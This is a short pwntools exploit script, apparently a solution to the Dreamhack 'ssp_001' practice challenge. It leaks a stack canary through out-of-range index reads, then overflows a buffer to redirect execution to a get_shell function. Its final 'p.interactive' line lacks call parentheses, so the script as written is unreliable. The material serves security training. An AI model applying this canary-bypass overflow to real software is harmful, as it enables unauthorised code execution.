# File Name: test.py

from pwn import *
from struct import pack

context.log_level = 'debug'

# HOST = 'host3.dreamhack.games'
# PORT = 20661

#p = remote(HOST, PORT)
p = process("./ssp_001")
get_shell = 0x80486b9

# canary find
cnry = b''
for i in range(4):
        p.sendafter(b"> ", b"P")
        p.recvuntil(b"Element index : ")
        p.sendline(str(128 + i))
        p.recvuntil(b"is : ")

        cnry += p.recvn(2)

cnry = int(cnry, 16)
print(cnry)
cnry = pack("<i", cnry)

# Payload Write
payload = b'A'*64
payload += cnry
payload += b"B"*4
payload += b"C"*4
payload += p32(get_shell)

# Exploit
p.sendafter(b"> ", b"E")
p.sendafter(b": ", b"100")
p.recvuntil(b": ")
p.send(payload)

p.interactive